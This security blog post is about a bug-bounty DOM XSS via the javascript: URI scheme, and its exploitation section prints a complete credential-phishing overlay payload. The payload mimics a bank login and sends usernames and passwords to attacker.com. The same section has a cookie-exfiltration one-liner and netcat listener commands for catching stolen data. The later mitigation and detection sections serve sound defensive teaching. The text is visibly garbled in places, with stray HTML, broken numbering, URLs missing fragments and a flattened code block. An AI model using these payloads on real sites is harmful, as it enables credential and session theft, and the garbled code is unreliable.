Listen to this Post

Introduction:
DOM-based Cross-Site Scripting (XSS) remains one of the most insidious web vulnerabilities because it never touches the server—malicious payloads execute entirely within the victim’s browser through unsafe client-side JavaScript. A recent $500 bounty accepted on YesWeHack demonstrates how an unsanitized URI parameter processed client-side allowed arbitrary code execution via the `javascript:` scheme, which an attacker escalated into a full-screen credential phishing overlay mimicking the target bank’s login portal—proving that even low-severity XSS can become a high-impact breach when combined with social engineering and creative payloads.
Learning Objectives:
- Identify DOM-based XSS vectors involving the `javascript:` URI scheme and client-side DOM manipulation.
- Exploit DOM XSS to inject and render a full-screen credential-harvesting overlay.
- Implement mitigation techniques including Content Security Policy (CSP) directives, safe DOM APIs, and input sanitization.
You Should Know:
1. Understanding DOM-Based XSS and the `javascript:` Scheme
DOM-based XSS occurs when a web application writes user-controlled data directly into the DOM using insecure JavaScript methods like innerHTML, document.write(), or location.hash. The `javascript:` URI scheme is a classic attack vector: if an application takes a parameter (e.g., from `window.location.hash` or URL parameters) and uses it to set an iframe src, a.href, or `location` property without validation, an attacker can inject javascript:alert(document.cookie).
Example vulnerable code:
// app.js
var userInput = document.location.hash.substring(1);
document.getElementById("dynamicFrame").src = userInput;
If a user visits https://bank.com/profilejavascript:alert('XSS'), the frame executes JavaScript in the page context.
Step-by-step to test for this vulnerability:
- Identify any client-side script that reads from `window.location` (hash, search, pathname) and writes to a sink (
.src,.href,location,eval, `setTimeout` string). - Use browser DevTools (F12) → Sources tab → search for
.hash,.search,location.. - Inject a harmless test payload: `javascript:console.log(‘XSS’)` and check the console.
- If the payload executes, you have DOM XSS via
javascript:. -
Step-by-Step Exploitation: From Bug Discovery to Phishing Overlay
Once you confirm `javascript:` execution, you can replace `alert()` with a full phishing overlay. The following steps assume you are testing on a bug bounty target (always with permission) and using Burp Suite.
Preparation – Burp Suite configuration:
- Set your browser proxy to Burp (127.0.0.1:8080).
- Install Burp’s CA certificate.
- Enable DOM Invader (Burp → Target → DOM Invader) – it automatically detects DOM sinks and sources.
- Set “Canary” to a unique string like
'XSS_TEST'.
Exploitation steps:
- Capture a request that contains a hash fragment (e.g.,
https://target.com/dashboardparam=ABC`).javascript:`.
<h2 style="color: yellow;">2. Modify the hash to - Right-click request in Burp → Send to Repeater.
4. In Repeater, craft the full payload:
javascript:fetch('https://attacker.com/logger?cookie='+document.cookie)
But for a phishing overlay, you need DOM injection.
Better payload using `document.write` or `createElement`:
javascript:document.body.innerHTML=' <div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999;">...</div> '
Because the `javascript:` scheme executes in the page context, you can rewrite the entire DOM. For a stealthier approach, inject an iframe overlay.
3. Crafting the Credential Phishing Overlay
Below is a realistic HTML/JavaScript overlay that mimics a bank login portal. Save this as a single line to inject via javascript:.
Payload (minified for URL injection):
javascript:(function(){
var div = document.createElement('div');
div.id = 'phishOverlay';
div.style.cssText = 'position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:99999; display:flex; align-items:center; justify-content:center;';
div.innerHTML = '
<div style="background:white; padding:20px; border-radius:10px; width:300px;"><h2>Session Expired</h2>Please re-enter your credentials</p><input id="user" placeholder="Username"/><br/><input id="pass" type="password" placeholder="Password"/><br/><button onclick="sendCreds()">Login</button></div>
<p>';
document.body.appendChild(div);
window.sendCreds = function(){
var u = document.getElementById('user').value;
var p = document.getElementById('pass').value;
fetch('https://attacker.com/steal?u='+encodeURIComponent(u)+'&p='+encodeURIComponent(p));
div.remove();
alert('Session restored');
};
})();
How to inject via URL:
- URL-encode the payload (not strictly necessary in hash fragment, but good practice).
- Final exploit: `https://bank.com/profilejavascript:…`
3. The victim clicks the link (delivered via email, social media, or redirect).
4. Overlay appears – most users will re-enter login credentials.5. Credentials exfiltrated to attacker-controlled endpoint.
For testing locally (Linux/macOS): Run a simple HTTP server to catch exfiltrated data:
nc -lvnp 8080 Or python3 -m http.server 8888
Then replace `https://attacker.com` with `http://YOUR_IP:8080`.
Windows PowerShell equivalent:
Start-Process python -ArgumentList "-m http.server 8080" Or use netcat (if installed): ncat -lvnp 8080
4. Mitigation & Hardening: CSP, Sanitization, Safe APIs
To prevent DOM-based XSS via `javascript:` scheme, implement multiple layers:
1. Content Security Policy (CSP)
Add a strict CSP header that disallows `javascript:` URIs and inline scripts.
For Apache / .htaccess Header set Content-Security-Policy "script-src 'self'; object-src 'none'; base-uri 'self';"
For Nginx:
add_header Content-Security-Policy "script-src 'self';";
The directive `script-src ‘self’` blocks `javascript:` URIs because they are considered inline script executions.
2. Avoid Dangerous DOM Sinks
Never use document.location, location.href, element.src, or `element.href` with unsanitized user input. Use safe alternatives:
// UNSAFE
location.href = userInput; // javascript:alert() will execute
// SAFE
location.assign("https://safe.com/page"); // static
// Or validate/whitelist
if (userInput.startsWith("https://trusted.com")) {
location.href = userInput;
}
3. Sanitize using DOMPurify or built-in `textContent`
import DOMPurify from 'dompurify';
let clean = DOMPurify.sanitize(userInput, { ALLOWED_URI_REGEXP: /^https?:\/\// });
document.getElementById("link").href = clean;
4. Use `document.createElement` with `textContent` instead of `innerHTML`
// Safe
const span = document.createElement('span');
span.textContent = userInput; // HTML tags become plain text
5. Detection Using Burp Suite & Custom Scripts
Burp Suite Professional includes DOM Invader (also in Community edition with limitations). Enable it from the Target tab → DOM Invader → Set to “On” with “Canary”. DOM Invader will automatically modify URL fragments and track sinks.
Manual detection using browser console:
// Check all links and iframes for javascript: scheme
document.querySelectorAll('a, iframe, [bash], [bash]').forEach(el => {
let url = el.src || el.href;
if (url && url.toLowerCase().startsWith('javascript:')) {
console.warn('Potential DOM XSS:', el);
}
});
Linux command to grep source code for vulnerable patterns in a downloaded web app:
grep -rnE '(location.hash|location.search|document.URL|document.documentURI)' . --include=".js"
Windows PowerShell equivalent:
Get-ChildItem -Recurse -Filter .js | Select-String -Pattern "location.hash|location.search"
Burp Suite scanner custom extension (Python) to detect `javascript:` in hash parameters:
from burp import IBurpExtender, IScannerCheck class BurpExtender(IBurpExtender, IScannerCheck): def doPassiveScan(self, baseRequestResponse): url = helpers.analyzeRequest(baseRequestResponse).getUrl() if "javascript:" in url.toString(): return [helpers.makeScanIssue(baseRequestResponse, baseRequestResponse, "DOM XSS via javascript:", "Payload: javascript:alert(1)", "High", "Certain")] return None
6. Reporting and Responsible Disclosure (The $500 Writeup)
When you find a DOM XSS vulnerability that allows `javascript:` execution, craft a professional report similar to the accepted YesWeHack submission:
Report Template:
- DOM-Based XSS via Unsanitized URI Parameter (javascript: scheme)
- Affected endpoint: `https://bank.com/dashboardsection`
– Steps to reproduce:
1. Navigate to `https://bank.com/dashboardjavascript:alert(document.domain)`
2. Observe alert box showing the domain.
- Impact: Full page takeover, credential theft via phishing overlay, session hijacking.
- Proof of concept: Video or screenshot showing overlay injection.
- Suggested fix: Implement CSP
script-src 'self', validate hash parameters against a whitelist, use `textContent` instead ofinnerHTML.
The bounty team at YesWeHack awarded $500 because the tester escalated the report with a credential phishing overlay proof of concept, demonstrating high impact despite low complexity. Always include a mitigation section to speed up triage.
What Undercode Say:
- Client-side input sanitization is as critical as server-side validation. DOM sinks like `location.hash` are often forgotten during code reviews – always treat them as attacker-controlled.
- The `javascript:` URI scheme is a legacy feature that should be aggressively blocked via CSP. Even if your app doesn’t use it, an attacker can still inject it into a dynamically generated link.
The $500 bounty reflects a worrying reality: many bug bounty hunters stop at alert popups. By demonstrating a full-screen phishing overlay, the researcher proved that a “low risk” DOM XSS can bypass 2FA and steal credentials directly. Organizations must move beyond scanning for reflected XSS and adopt client-side hardening – CSP, Trusted Types, and regular DOM fuzzing – to prevent these realistic attacks.
Prediction:
As web applications increasingly shift logic to the client side (React, Vue, Angular), DOM-based XSS will surpass reflected and stored XSS as the dominant attack vector. We will see more automated tooling like DOM Invader and custom fuzzers targeting `javascript:` and `data:` URIs. Simultaneously, browser vendors may further restrict `javascript:` scheme execution in cross-origin contexts, but legacy enterprise apps will remain vulnerable. AI-assisted payload generation could enable adaptive phishing overlays that mimic the exact style of a targeted site in real time, making detection by users nearly impossible. The future of web security hinges on adopting Trusted Types API and strict CSP – without them, a single unsanitized hash parameter can bring down a million-dollar brand.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Javier Rieiro – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


